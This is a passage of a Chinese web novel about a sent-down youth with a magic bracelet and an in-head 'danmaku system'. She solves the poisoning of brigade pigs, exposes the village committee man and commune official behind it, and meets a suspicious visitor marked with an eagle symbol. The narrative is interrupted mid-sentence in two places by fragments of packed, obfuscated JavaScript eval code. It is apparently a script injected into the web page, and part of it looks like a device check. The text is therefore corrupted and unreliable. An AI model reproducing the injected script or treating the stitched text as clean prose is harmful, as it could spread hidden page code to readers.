不,不能这么想。问题出现了就解决问题,后悔没有用。 她深吸一口气,强迫自己冷静下来。首先,要搞清楚猪的死因。如果是疾病,就治病防疫;如果是中毒,就查毒源;如果是人为,就揪出黑手。 其次,要稳住队里的情绪。不能让谣言扩散,不能让实验夭折。 最后,要揪出幕后搞鬼的人。 火车进站的汽笛声拉回了她的思绪。她背起包,走向检票口。 夜班火车人不多,她找到座位,靠窗坐下。窗外,省城的灯火渐渐远去,夜色笼罩田野。 她摸了摸怀里的车票,又摸了摸手腕上的银镯。 这一趟省城之行,收获很多,但麻烦也接踵而至。 不过没关系。 她从来不怕麻烦。 怕的是没有改变的机会。 而现在,机会就在手中。 无论前方有什么等着她,她都会走下去。 因为这条路,不只是她一个人的路。 是红星公社两百多口人的路。 是可能改变很多人命运的路。 窗外的夜色浓得像墨。 火车轰隆前行,载着她,驶向未知的挑战。 也驶向,必须守护的希望。 24. 夜归 火车在凌晨四点抵达永丰县站。冬日的站台空旷冷清,只有几盏昏黄的电灯在寒风中摇晃。林晚照背着帆布包跳下火车,鞋底踩在结霜的水泥地上发出清脆的响声。站台上除了两个裹着棉大衣的铁路职工,看不到其他乘客。 她没有停留,直接走出车站。县城还在沉睡,街道两旁的房屋门窗紧闭,只有早起的清洁工在扫街,竹扫帚划过地面的声音在寂静中格外清晰。 去红星公社的早班车要六点才发车。林晚照找了个背风的墙角蹲下,从包里掏出在省城买的烧饼——已经冷透了,硬得像石头。她小口小口地啃着,脑子里复盘着张教授告知的信息。 三头猪突然死亡。死亡时间差不多,症状相似。没有明显外伤,没有大规模传染迹象。这不像普通疾病,更不像瘟疫。 如果是人为,目的是什么?阻止科学养猪项目?打击她的威信?还是单纯的眼红? 她想起培训时吴建国审视的目光,想起那封匿名信,想起招待所门外试图闯入的脚步声。这些碎片在脑海里旋转,试图拼凑出完整的图像。 五点半,天边泛起鱼肚白。最早一班进城的牛车“嘎吱嘎吱”驶过,车把式裹着破棉袄,嘴里呼出白气。林晚照站起来,活动了一下冻僵的手脚,朝汽车站走去。 六点整,破旧的班车准时发车。车上除了她,只有三个赶集的农民,箩筐里装着鸡和鸡蛋。车子在坑洼的土路上颠簸,林晚照靠着车窗,看着窗外熟悉的景色——收割后的稻田,光秃秃的山丘,晨雾中的村庄。 七点半,车子在红星公社站停下。林晚照一下车,就看见陈铁柱蹲在站牌旁抽烟,脚边已经扔了好几个烟头。 “队长。”她走过去。 陈铁柱抬头,眼里都是血丝:“回来了?路上顺利吗?” “顺利。具体什么情况?” “边走边说。”陈铁柱起身,两人往村里走。 “前天下午,陈大牛发现三头猪不吃食,精神萎靡。当时以为是普通感冒,给了点草药。昨天早上,三头猪全死了。”陈铁柱语速很快,“死状很奇怪——口鼻有少量白沫,四肢抽搐后死亡。其他猪暂时没事。” “尸体处理了吗?” “还没,等你回来看看。”陈铁柱看了她一眼,“队里已经有人开始说闲话了,说是你的新方法害死了猪。刘委员那帮人闹得最凶,要求停止实验,还要你负责赔偿。” 林晚照心里一沉:“多少损失?” “三头都是半大猪,加起来大概四百斤。按市价七毛一斤,二百八十块钱。” 这笔钱对生产队来说不是小数目。 “周大夫看过吗?” “看了,说是中毒症状,但不确定是什么毒。”陈铁柱压低声音,“晚照,这事蹊跷。猪死的前一天,饲养员二狗请了半天假,说是家里有事。但我问了,他家那天根本没事。” 二狗?林晚照想起那个因疏忽导致饲料霉变的年轻帮工。他老实巴交,不像会做这种事的人。 “先别下定论。”她说,“去看看尸体。” 养猪场的气氛凝重。几个帮工站在门口,看见林晚照回来,表情复杂——有关切,有怀疑,也有躲闪。陈大牛迎上来,眼睛红肿,显然一夜没睡。 “林同志,我对不起你……”他声音哽咽,“我没看好……” “陈叔,现在不是说这个的时候。”林晚照拍拍他的肩,“尸体在哪儿?” 尸体放在养猪场后面的空地上,用草席盖着。林晚照掀开草席,三头半大猪并排躺着,已经僵硬。她蹲下身仔细检查。 弹幕系统启动,扫描: 【死因:有机磷类农药中毒】 【中毒途径:经口摄入】 【死亡时间:约36-40小时前】 【特殊提示:胃内容物检测到异常苦杏仁气味,疑似含有□□前体物质】 有机磷农药?这个年代农村常用的是“六六六”“滴滴涕”,都属于有机氯农药。有机磷类农药更贵,一般公社才有。 而且□□……这已经不是普通农药了。 “猪死前喂的什么饲料?”林晚照问。 “就是平常的发酵饲料,我亲自拌的。”陈大牛说,“林同志,我可以发誓,饲料绝对没问题!” “我相信你。”林晚照站起身,“但饲料桶呢?我要看看。” 饲料桶是木制的,已经清洗过。林晚照蹲在桶边,用手指抹了抹桶壁内侧,凑近闻了闻——有股淡淡的苦杏仁味,很轻微,但确实存在。 “这个桶,猪死前洗过吗?” “洗过啊,每天都洗。”陈大牛说,“那天是二狗洗的,他说洗得特别干净。” 又是二狗。 林晚照起身:“陈叔,二狗现在在哪儿?” “在他家。猪死后,我就让他先回家休息了。” “带我去找他。” 陈大牛犹豫了一下:“林同志,二狗那孩子老实,应该不会……” “只是问问情况。”林晚照语气平静,“如果他是清白的,问清楚对他也是好事。” 二狗家住在村西头,两间土坯房,院子里堆着柴火。门开着,二狗正蹲在灶台前烧火,看见他们来,吓得手里的柴都掉了。 “队、队长……林同志……” “二狗,别怕,就问几句话。”林晚照在门槛外站定,没有进屋——这是礼貌,也是给对方留空间。 “你洗饲料桶那天,用的什么水?” “就、就是井水啊。”二狗眼神躲闪。 “洗了几遍?” “三……三遍。” “桶洗完后,放在哪儿了?” “放在养猪场院子里晾着。”二狗的声音越来越小。 林晚照盯着他:“二狗,你说实话。洗桶的时候,有没有发生什么特别的事?或者,有没有别人碰过那个桶?” 二狗浑身一颤,突然“扑通”跪下了:“林同志,我对不起你……我对不起大家……” 陈铁柱脸色变了:“二狗,怎么回事?” “那天……那天我洗桶的时候,刘委员来了。”二狗哭起来,“他说看我洗得认真,递给我根烟。我抽着烟,他说帮我看着桶,让我去给他倒碗水……我就去了……等我回来,桶还在那儿,我就没多想……” 林晚照和陈铁柱对视一眼。 “刘委员碰过桶?” “我……我不知道。我就离开了一小会儿。”二狗抹着眼泪,“林同志,我真不知道会出事……刘委员说就是看看桶干净不干净……” “他还说什么了?” “他说……他说这个科学养猪不靠谱,迟早要出事。”二狗的声音小得像蚊子,“还说林同志你一个城里来的女娃娃懂什么养猪,都是瞎折腾。” 够了。 林晚照扶起二狗:“起来吧。这事不全怪你,但你有错——不该擅离职守。罚你三个月工分,有意见吗?” “没、没意见。”二狗连连摇头,“林同志,猪真是刘委员害死的吗?” “现在还不能确定。”林晚照说,“二狗,今天的话不要对任何人说。能做到吗?” “能!我保证!” 离开二狗家,陈铁柱的脸色铁青:“我现在就去找刘建国!” “等等。”林晚照拦住他,“没证据。光凭二狗的话,刘委员完全可以否认。而且如果是他做的,他一定早有准备。” “那怎么办?” “等。”林晚照说,“下毒的人一次不成,可能会来第二次。而且,刘委员一个人做不了这事——他不懂农药,更弄不到□□。” □□在这个年代是严格管控的化学品,一般只有医院、实验室或者特定工厂才有。一个公社干事,哪来的渠道? 两人回到养猪场,林晚照重新检查了死猪。她在其中一头猪的牙齿缝里,发现了一点深褐色的碎屑——不是饲料,更像是某种植物的种子。 她用纸小心包好碎屑。弹幕系统分析: 【样本:苦杏仁种子碎片】 【毒性:含有氰苷,水解后产生氢氰酸】 【备注:本地野生苦杏仁树多见于后山北坡】 苦杏仁。这就能解释□□来源了——不是工业制品,是天然毒素。凶手懂药理,知道怎么提取毒素。 “后山有苦杏仁树?”她问陈大牛。 “有,北坡那边有几棵。不过那东西有毒,没人碰。”陈大牛忽然想起什么,“对了,周大夫有时候会采点回去配药,说是少量能止咳。” 周大夫?林晚照心里一紧,随即又摇头。周大夫没动机,而且如果是他,不会用这么明显和自己有关联的东西。 “队长,我们去后山看看。” 后山北坡离村子三里地,路不好走。两人爬了半个多小时,果然看见几棵枯树,树下散落着干瘪的果实。林晚照仔细查看,发现其中一棵树下的土有翻动的痕迹——不是动物刨的,是人的脚印。 “有人来过。”陈铁柱蹲下身,“就这两天,脚印还很新。” 林晚照在周围搜寻,在一丛枯草下发现了几片碎布——深蓝色的棉布,边缘有被树枝刮破的痕迹。 “这是工作服的布料。”陈铁柱捏着碎布,“队里发的那种。” 两人对视,心里都有了猜测。 下山时已经中午。回到村里,林晚照先去了养猪场,让陈大牛把剩下的猪全部检查一遍,饲料和水都换新的。然后她去找周大夫。 周大夫正在药房整理药材,看见她来,放下手里的戥子:“小林回来了?听说养猪场出事了?” “嗯,三头猪死了。”林晚照开门见山,“周大夫,我想请教您,苦杏仁的毒性怎么提取?” 周大夫的手顿了顿:“你怀疑是苦杏仁中毒?” “在死猪嘴里发现了碎屑。” 周大夫沉默片刻,从药柜里拿出一个小纸包:“这就是苦杏仁。少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“就说猪是吃了发霉的饲料,霉菌中毒死亡。”林晚照已经有了计划,“责任在我,饲料配方不完善。我愿意承担全部损失,暂停实验。” 陈铁柱愣住了:“晚照,你这是……” “引蛇出洞。”林晚照压低声音,“如果刘委员真的想搞垮项目,听到这个消息,一定会跳出来落井下石。而且,他认为危机解除了,可能会放松警惕,进行下一步动作。” 赵会计推了推眼镜:“这招险。万一真把项目停了……” “不会。”林晚照很笃定,“张教授那边已经通过了方案,省里的专项资金很快会下来。只要钱到了,项目必须继续。但在这之前,我们要揪出内鬼。” 下午两点,队部挤满了人。听说要通报猪死亡事件,几乎全队的人都来了。屋子里站不下,很多人挤在门外窗边。 林晚照站在前面,表情平静:“各位叔伯婶子,养猪场死了三头猪,是我的责任。饲料配方不完善,导致霉菌滋生,猪吃了中毒。所有损失我来承担,从我的工分里扣。科学养猪实验暂停,等找到问题再说。” 底下哗然。有人叹息,有人幸灾乐祸,也有人怀疑。 刘委员果然第一个跳出来:“我早就说了,城里来的娃娃不懂养猪,瞎折腾!现在出事了吧?二百八十块钱的损失,你扣工分得扣到什么时候?” “扣到我赔清为止。”林晚照看着他,“刘委员说得对,是我太冒进,对不起大家的信任。” 她态度诚恳,反而让刘委员噎住了。 三婶站起来:“晚照,这事也不能全怪你。养猪本来就有风险,以前也死过猪。” “谢谢三婶,但错了就是错了。”林晚照鞠躬,“我会吸取教训。” 会议在复杂的氛围中结束。散会后,林晚照故意走在最后,听见几个妇女小声议论: “刘委员今天咋这么积极?” “你不知道?他侄子想当记工员,林晚照挡了路。” “啧,心眼真小。” 林晚照不动声色地离开。回到知青点,王晓芬和李秀英围上来:“晚照,真不是你的错……” “别说了,我累了,想休息。”林晚照确实累了,不仅是身体,还有心。 她躺到床上,闭上眼睛。手腕上的银镯微微发烫,像是在安慰她。 计划已经启动。接下来,就是等待。 等蛇出洞。 等真相大白。 窗外,天色渐渐暗下来。 养猪场的风波看似平息,但水面下的暗流,正在酝酿更大的漩涡。 而在村子的另一端,刘委员家亮着灯。屋里,刘委员正在和人低声说话: “她认栽了,项目停了。” “做得干净吗?”另一个声音问。 “放心,苦杏仁渣都处理了。她查不出什么。” “那就好。记住,你的任务是让她待不下去,滚出红星公社。事成之后,你侄子进公社的事,包在我身上。” “谢谢李主任。” 对话声很低,但在寂静的冬夜里,还是传出了些许。 一只黑猫从墙头跳过,绿眼睛在黑暗中闪着光。 它看见了不该看见的。 但猫不会说话。 只会“喵”一声,消失在夜色里。 25. 收网时刻 腊月二十,凌晨三点。 红星公社还在沉睡,只有猪圈旁的窝棚里亮着一豆灯火。林晚照裹着棉袄坐在草垫上,手边放着半块冷掉的玉米饼。她已经在这里守了两天两夜——表面上养猪场因为“饲料问题”暂停运营,实际上她在等。 等蛇出洞。 陈铁柱蹲在对面,就着煤油灯光擦拭柴刀。刀刃在昏黄光线下泛起冷冽的光。“你确定他今晚会来?” “不确定。”林晚照实话实说,“但刘委员这个人,得了便宜肯定要卖乖。他觉得自己赢了,一定会来看看自己的‘战果’。” “要是他不来呢?” “那就明天继续等。”林晚照咬了口玉米饼,“只要他还有下一步计划,就一定会来。” 话音未落,远处传来狗吠声。 两人同时屏住呼吸。狗叫声从村东头传来,由远及近——是二狗家的看门狗,那只狗夜里从不乱叫,除非有人经过。 窝棚的缝隙里,能看见养猪场院子的轮廓。月光很好,把土墙、木栅、饲料桶的影子投在地上,像一幅黑白版画。 一刻钟后,一个人影出现在院墙外。 他动作很轻,先是在墙根蹲了一会儿,确定四周没人,才翻墙进来。落地时脚下趔趄了一下——是刘委员,他那条老寒腿翻墙不方便。 林晚照和陈铁柱对视一眼,谁都没动。 刘委员摸到猪圈旁,挨个圈舍看过去。猪都睡着了,发出均匀的鼾声。他站在最大的那个圈舍前,从怀里掏出个小布袋。 就是现在。 “刘委员,半夜来看猪?”林晚照推开窝棚门,声音在寂静的夜里格外清晰。 刘委员浑身一僵,手里的布袋掉在地上。他猛地转身,看见林晚照和陈铁柱从窝棚里走出来,煤油灯的光照在他们脸上。 “你、你们……”他脸色煞白。 “我们在等你。”林晚照走过去,捡起那个布袋。打开,里面是些深褐色的粉末,闻着有苦杏仁味。 陈铁柱上前一步:“刘建国,你还有什么话说?” 刘委员的腿开始抖,但他嘴硬:“我……我就是来看看猪!这、这是我采的草药,给猪治病的!” “是吗?”林晚照从怀里掏出个小纸包,“巧了,我这儿也有点东西——后山苦杏仁树下找到的碎布片,和你身上这件工作服的颜色、质地一模一样。要不要比对比对?” 刘委员下意识捂住袖子——右袖口确实破了个口子,他用线粗糙地缝上了。 “还有,”林晚照继续说,“二狗已经交代了。那天你支开他,在饲料桶里下了毒。用的就是这个苦杏仁粉,对不对?” “他胡说!”刘委员急了,“那小子自己没看好猪,想赖我!” “那就奇怪了。”林晚照盯着他,“你怎么知道猪是中毒死的?我通报的时候,只说是饲料发霉。” 刘委员噎住了。 陈铁柱上前,一把抓住他的手腕:“走,去队部说清楚。” “我不去!你们没资格抓我!”刘委员挣扎起来,“我是队委委员!你们……” 他的话被一声闷响打断——陈铁柱一拳打在他肚子上,力道控制得刚好,让他疼得弯下腰,又不会受重伤。 “这一拳,是替那三头猪打的。”陈铁柱声音冰冷,“现在,能好好说话了吗?” 凌晨四点的队部,灯火通明。 接到消息赶来的队委委员有五个,赵会计也在。刘委员被按在长条凳上,脸色灰败。那个装苦杏仁粉的布袋摆在桌上,物证确凿。 “老刘,真是你干的?”一个和刘委员关系不错的委员不敢置信。 刘委员低着头,不说话。 林晚照把证据一样样摆出来:碎布片、苦杏仁粉、二狗的证词、周大夫关于刘委员询问药方的记录。每摆一样,刘委员的头就低一分。 “为什么?”赵会计推了推眼镜,痛心疾首,“都是一个队的,有什么深仇大恨?” “为什么?”刘委员突然抬起头,眼睛赤红,“就因为她!”他指着林晚照,“一个城里来的知青,才来几天?当了记工员,又要搞什么科学养猪!我侄子高中毕业,想当记工员,她一来就占了位置!” “就为这个?”陈铁柱气得想再给他一拳,“你侄子什么德行你不知道?偷奸耍滑,账都算不明白!” “那也轮不到她!”刘委员吼起来,“还有你,陈铁柱!你处处护着她,是不是看上这个城里小姐了?” 这话太恶毒。在场的人都变了脸色。 林晚照却笑了:“刘委员,你说漏了。” “什么?” “如果只是为了记工员的位置,你没必要下死手。”她慢慢说,“三头猪,二百八十块钱的损失,这事闹大了你也要担责任。除非……有人许诺了你更大的好处。” 刘委员的脸色变了。 “是公社的李主任吧?”林晚照说出了那个名字,“他答应你,只要把我赶走,就调你侄子进公社工作,对不对?” “你……你怎么知道?”刘委员脱口而出,说完才意识到自己承认了。 林晚照没回答。她怎么知道?从省城那封匿名信开始,她就怀疑背后有人指使。刘委员一个人,没那个胆子,也没那个脑子。 “李主任全名叫什么?在公社管什么?” 刘委员闭嘴了。他知道,说出去就真完了。 “你不说也没关系。”林晚照看向陈铁柱,“队长,明天我们去公社,把证据交给王书记。李主任跑不了。” “等等!”刘委员慌了,“我说!李主任叫李国强,管农业的。他……他说林晚照搞的这个项目,抢了他的风头。要是让她搞成了,以后公社推广科学养殖,都得找她,没他李国强什么事了。” 原来如此。利益之争。 “还有那封匿名信,也是他让你写的?”林晚照问。 “信?什么信?”刘委员茫然,“我就按他说的,在猪饲料里下点药,让猪病一场……” 林晚照心里一沉。匿名信不是刘委员写的,那另有其人。 天亮时分,队委会做出决定:撤销刘建国队委委员职务,扣发全年工分作为赔偿,并移交公社处理。至于李国强那边,需要公社调查。 散会后,林晚照一个人留在队部。晨光从窗户照进来,照在桌上的苦杏仁粉上。她盯着那些粉末,脑海里反复回响刘委员的话:“什么信?” 如果匿名信不是刘委员写的,那会是谁?省城农科院那封信,明显是针对她的学术声誉。养猪场下毒,是针对项目本身。这是两股不同的势力,还是同一个人在不同层面的操作? 门被敲响了。陈铁柱端着两个碗进来:“吃点东西,一晚没睡。” 是红糖水煮鸡蛋,这在农村是待客的好东西。 “谢谢队长。”林晚照接过碗,“刘委员怎么处理?” “先关在仓库,等公社来人。”陈铁柱在她对面坐下,“晚照,这事还没完。” “我知道。”林晚照搅动着碗里的鸡蛋,“匿名信的作者没找到,李国强在公社还有关系网。而且……” “而且什么?” 林晚照犹豫了一下,还是说了:“队长,你有没有觉得,这一切太巧了?我刚去省城培训,养猪场就出事。我刚拿出合作方案,就有人匿名举报。好像……有人在盯着我。” 陈铁柱沉默片刻:“你是说,和‘那个’有关?” “鹰计划”三个字他没说出口,但两人心知肚明。 “我不知道。”林晚照摇头,“但小心点总没错。” 吃过早饭,林晚照去了养猪场。陈大牛正在喂猪,看见她来,放下手里的活:“林同志,猪都没事了。就是……死了的那三头,可惜了。” “损失我会补上。”林晚照说,“陈叔,这几天辛苦你了。” “说啥呢,应该的。”陈大牛搓着手,“林同志,那个……项目还能继续吗?” “能。”林晚照很肯定,“省里的资金快下来了,到时候建新猪舍,扩大规模。” 陈大牛眼睛亮了:“真的?那太好了!” 正说着,二狗急匆匆跑来:“林同志!公社来人了!” 来的是公社的王书记本人,还带着两个干事。五十多岁的王书记穿着中山装,脸色严肃。他在队部听了汇报,看了证据,当场拍了桌子: “胡闹!简直是胡闹!科学养猪是县里支持的项目,李国强居然敢这么搞!” “王书记,这事……”陈铁柱想说什么。 “你不用说了。”王书记摆摆手,“李国强已经停职检查了。刘建国交给我们带走,该怎么处理怎么处理。” 他看向林晚照:“小林同志,你受委屈了。但科学养猪项目不能停,不但不能停,公社还要大力支持!你们需要的资金、物资,公社全力配合!” 这是最有力的支持。林晚照心里一块石头落地:“谢谢王书记。” “不用谢我,是你们自己争气。”王书记语重心长,“小林啊,改革路上总会有阻力,但不要怕。只要对群众有利,对发展有利,组织上一定支持你!” 送走王书记,已经是中午。消息在村里传开了,说什么的都有。但大多数人都明白了一个事实:林晚照不仅没倒,还得到了公社书记的公开支持。 下午,林晚照去了三婶家。三婶正在腌腊肉,看见她来,连忙擦手:“晚照,快来坐!听说你把刘委员揪出来了?干得好!那老东西,早就该整治了!” “三婶,我想请您帮个忙。”林晚照说,“养猪场要扩大,需要增加人手。您认识人多,能不能推荐几个踏实肯干的?” “这好办!”三婶一拍大腿,“我娘家侄女,干活一把好手,就是家里穷,一直没找到好活计。还有村东头老李家的大闺女……” 她一口气说了五六个名字,都是村里口碑好的年轻人。 林晚照一一记下:“谢谢三婶。过两天面试,您让他们来养猪场找我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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窗外的月亮升起来了,很圆,很亮。 明天,又是新的一天。 养猪场要重建,项目要重启,新的挑战要面对。 但她准备好了。 门外传来敲门声,是陈铁柱:“晚照,睡了吗?” “还没。” 陈铁柱推门进来,手里拿着个信封:“你的信。省城来的,加急。” 林晚照接过信封。是张教授寄来的,内容很简单:“匿名信作者已查明,系农科院内部人员,与李国强有远亲关系。此事已处理,勿念。另:项目资金已批,首批五千元下周到账。盼早日建成实验基地。” 终于。资金批下来了。 她把信递给陈铁柱看。陈铁柱看完,长长出了口气:“这下,成了。” “还没成。”林晚照说,“钱到了,活才刚开始。” 但她的眼睛亮亮的,那里面有了光。 那是希望的光。 也是,决心的光。 夜深了。 村里大部分人家都熄了灯。 只有养猪场旁边的窝棚里,还亮着灯。 陈大牛在守夜——猪死过,他不敢再大意。 他坐在草垫上,就着煤油灯看林晚照给他的小册子:《科学养猪手册》。字认不全,但他看得很认真。 远处传来脚步声。 是林晚照,端着碗热汤过来:“陈叔,喝点热的。” “林同志,你咋还没睡?” “睡不着,来看看。”林晚照在草垫上坐下,“陈叔,等新猪舍建好了,我想送你去省城学习。” 陈大牛愣住了:“我?去省城?” “嗯,学更先进的技术。”林晚照说,“您有经验,再学点理论,以后就是咱们养猪场的顶梁柱。” 陈大牛的手有点抖。他这辈子,最大的官就是生产队饲养员。去省城学习?他想都不敢想。 “我……我能行吗?” “能。”林晚照说得很肯定。 陈大牛的眼圈红了。他低下头,大口喝汤,不想让林晚照看见。 窝棚外,月光如水。 养猪场里,猪睡得正香。 明天,太阳升起时,这里将开始新的建设。 而这一切,只是开始。 更远的路,还在前方。 林晚照起身,走出窝棚。她抬头看天,星星很亮。 手腕上的银镯,在月光下微微发烫。 像是在说:继续向前。 于是她笑了。 向前就向前。 怕什么? 她有的是时间。 有的是决心。 还有的是,要守护的人。 夜风吹过,带来远处狗吠声。 一切,都刚刚好。 26. 观察者协议 腊月二十二,霜重。 清晨五点,知青点的煤油灯已经亮了三盏。林晚照坐在靠窗的铺位上,手里捏着张教授寄来的第二封信。信纸在煤油灯昏黄的光晕里泛着脆响,墨迹是省城农科院专用的蓝黑墨水,带着机关单位特有的严肃气息。 “晚照同志见字如面。匿名信一事已有结论,涉事人员系我院档案科副科长吴建国,与红星公社李国强系表兄弟关系。此人已调离原岗位,组织处理意见另附。另,项目资金五千元已于昨日汇出,汇单号……” 信写得很官方,但字里行间透着一股欲言又止的意味。林晚照的手指在“吴建国”三个字上停顿了片刻,抬起眼看向窗外。 天还没亮透,院子里那棵老槐树的轮廓在晨雾里像泼墨画。猪圈方向传来陈大牛喂食的吆喝声,声音在霜冻的空气里传得格外清晰。一切都回到了正轨——至少表面上是这样。 但她总觉得,有什么东西在暗处盯着。 手腕上的银镯忽然传来一阵细微的温热。林晚照低头,看见镯子内圈那圈几乎看不见的纹路,在昏暗光线下泛出极淡的银光。这是空间给她的警示,在过去三个月里出现过三次——第一次是她差点掉进后山那个废弃的矿井,第二次是刘委员下毒那晚,第三次就是现在。 “晚照,起这么早?”对面铺位的王晓芬揉着眼睛坐起来,棉被从肩上滑落,露出打了补丁的秋衣。 “醒了就睡不着。”林晚照把信折好塞进枕头下的铁皮盒里,“你今天不是要去公社卫生所拿药?” “对,李秀英的咳嗽药快吃完了。”王晓芬一边穿衣服一边说,“晚照,听说公社要开表彰大会,养猪场的事要当典型宣传,真的假的?” 消息传得真快。林晚照心想,昨天下午王书记才透的口风,今天一早全村都知道了。 “王书记提了一句,还没定。” “肯定得选你上台讲话!”王晓芬兴奋起来,“到时候穿那件列宁装,就是省城买的那件,精神!” 林晚照笑了笑,没接话。她拎起墙角的热水瓶,倒了半盆热水,热气在冷空气里腾起白雾。毛巾浸湿后敷在脸上,温热感让她清醒了些。镜子是碎了一半的,只能照见半边脸——眉毛细长,眼睛因为熬夜带着血丝,但眼神很亮,亮得有些过分。 那种亮,是知道自己走在悬崖边上还要往前走的亮。 吃过早饭,林晚照先去养猪场。新猪舍的地基已经打好了,十几个村民正在垒墙。陈大牛蹲在拌好的石灰浆旁边,手里拿着林晚照画的图纸,眉头皱得能夹死苍蝇。 “林同志,这图纸……”他抬起头,满脸为难,“这墙为啥要留这么多窟窿眼?冬天不进风吗?” “这是通风设计。”林晚照蹲下来,捡了根树枝在地上画,“猪舍太闷容易滋生细菌,留通风口能降低发病率。冬天用草帘子挡住就行。” 陈大牛盯着地上的图看了半晌,忽然一拍大腿:“我懂了!就跟人住的房子要开窗户一个理!” “对。”林晚照笑起来,“陈叔悟性高。” “啥悟性,就是活干多了。”陈大牛不好意思地搓搓手,“林同志,那批新猪崽啥时候到?圈舍盖好了总不能让它们住旧的。” “后天。”林晚照站起身,拍了拍手上的土,“省农科院育的新品种,抗病力强,长肉快。到时候您可得把看家本领都拿出来。” 正说着,村口方向传来拖拉机的突突声。声音越来越近,最后停在养猪场外面的土路上。开车的是公社的干事小赵,副驾驶座上坐着个穿灰色中山装的中年男人。 林晚照心里咯噔一下。 那男人下车时动作很稳,先整了整衣领,才朝养猪场走过来。他大概四十出头,脸型方正,戴一副黑框眼镜,镜片后的眼睛看人时带着一种审视的意味——不是恶意,更像是实验室里观察样本的那种专注。 “请问,林晚照同志在吗?”他的普通话很标准,带着省城口音。 “我就是。”林晚照迎上去。 男人从怀里掏出个工作证:“省农业科学院,技术推广处,周明远。” 工作证上的钢印在晨光里反着光。林晚照接过来仔细看了看,是真的。但她的警惕没放松——张教授的信里可没提今天会有人来。 “周同志您好,事先没接到通知,招待不周。”她递回工作证,语气客气但保持着距离。 “临时决定的。”周明远推了推眼镜,“院里对红星公社的养猪项目很重视,派我来实地考察,为后续推广收集第一手资料。” 话说得滴水不漏。但林晚照注意到,他说“实地考察”时,眼睛扫过了整个养猪场,目光在那些通风口设计上多停留了几秒。 “欢迎指导工作。”她侧身做了个请的手势,“目前新猪舍正在建设,这是图纸。” 周明远接过图纸,看得很仔细。他的手指在图纸上移动,偶尔停顿,在几个关键数据上轻轻敲击。那种敲击的节奏很特别,三长两短,像是某种习惯性动作。 林晚照的心慢慢沉下去。 她见过这种敲击节奏——在陈启明给她的那本笔记里。那是2024年某个情报机构的非语言通讯代码,意思是“确认目标”。 “设计得很科学。”周明远抬起头,脸上露出赞许的笑容,“尤其是这个通风系统,比省农科院去年推广的标准设计更合理。林同志是哪个学校毕业的?” “高中毕业,自学的。”林晚照回答得很自然,“在省城培训时,张教授教了不少。” “张教授啊。”周明远点点头,没再追问。他把图纸递回来,转身看向正在施工的村民,“这些工人都是本村的?” “对,都是生产队抽调来的。” “工分怎么算?” “按整劳力算,一天十个工分。”林晚照一边回答,一边在心里快速盘算。这个周明远问得太细了,细得不像是单纯的技术考察。 周明远在养猪场转了一圈,问了饲料配比、防疫措施、成本核算,甚至详细到每天清理粪便的时间。林晚照一一回答,答得滴水不漏——这些数据她早就烂熟于心。 最后,周明远停在老猪舍前。那三头死猪的圈舍已经消毒过,空着,在整排猪舍里显得格外扎眼。 “听说这里出过事?”他问。 “有人投毒,已经处理了。”林晚照的语气很平静,“公社王书记亲自抓的。” 周明远“哦”了一声,没再往下问。他从随身带的挎包里掏出个笔记本,快速记了几笔。笔记本的封面是军绿色,边角已经磨白,看起来很旧。 但林晚照看见了翻开那一页的页眉——有个极小的鹰形符号,用铅笔淡淡地勾勒着,不仔细看根本发现不了。 鹰。 她的后背瞬间冒出一层冷汗。 “周同志远道而来,先去队部休息吧。”陈铁柱的声音突然从身后传来。他不知什么时候到的,肩上扛着两袋水泥,脸上还沾着石灰点,“晚照,王书记让你去公社一趟,说资金到账的事要当面说。” 这话来得及时。林晚照顺势说:“周同志,实在不好意思,公社有急事。让陈队长先陪您看看,我尽快回来。” 周明远合上笔记本:“公事要紧。我自己转转就行,不用人陪。” 话是这么说,但林晚照和陈铁柱交换了一个眼神——不能让这个人单独活动。 最后是陈大牛主动请缨:“周同志,我陪您!这养猪场的一草一木我都熟!” 等周明远跟着陈大牛往饲料房走去,林晚照才低声问陈铁柱:“队长,你怎么来了?” “三婶跑去知青点找你,说你这里来了个‘省里的大干部’,气场不对。”陈铁柱压低声音,“怎么回事?” “他笔记本上有鹰的标志。”林晚照说得很轻。 陈铁柱的脸色瞬间变了。 去公社的路上,林晚照一直在回想周明远的每一个细节——推眼镜的动作,敲击图纸的节奏,问问题的角度。这个人太专业了,专业得不像个普通技术员。但如果他真是“观察者”,为什么会这么明显地露出破绽?那个鹰形符号,是故意的吗? 拖拉机在土路上颠簸,路两边的麦田盖着一层薄霜,在上午的阳光下泛着细碎的银光。远处传来社员们上工的钟声,当当当,敲碎了清晨的宁静。 这是个真实的、鲜活的世界。人们在土地上劳作,为一口饱饭挣扎,为孩子的学费发愁。而她,一个来自未来的灵魂,却要在这个世界里面对一场看不见的战争。 “到了。”小赵停下车。 公社大院还是老样子,砖墙上刷着白色标语:“农业学大寨,工业学大庆”。王书记的办公室在二楼最东头,窗台上摆着两盆蒜苗,绿油油的。 王书记正在接电话,看见林晚照进来,指了指对面的椅子。电话那头的人说话声音很大,林晚照听见几个关键词——“典型”、“宣传”、“全省推广”。 挂了电话,王书记点了支烟:“资金到了,五千元,在信用社存着。取款需要你的印鉴和我的批条。” “谢谢书记。”林晚照说。 “别谢我,是你自己争气。”王书记吐出一口烟,“不过晚照,有件事得跟你说清楚。省里要把养猪场当典型,接下来会有记者来采访,可能还有领导视察。这是好事,也是压力。” “我明白。” “你不明白。”王书记摇摇头,“树大招风。现在盯着这个项目的人,不止李国强一个。今天早上,县里三个部门打电话来问,都想往项目里塞人。” 林晚照坐直了身体。 “我的意思是,”王书记看着她,“项目班子你得尽快搭起来,用你自己信得过的人。等上面把人塞进来,就不好动了。” 这是掏心窝子的话。林晚照心里一暖:“书记,我今天来也是想汇报这个事。养猪场想成立一个管理小组,我拟了个名单。” 她从口袋里掏出张纸,上面写着五个人名:陈大牛(技术组长)、陈铁柱(生产协调)、三婶侄女王秀兰(后勤)、周大夫(防疫顾问)、她自己(总负责人)。 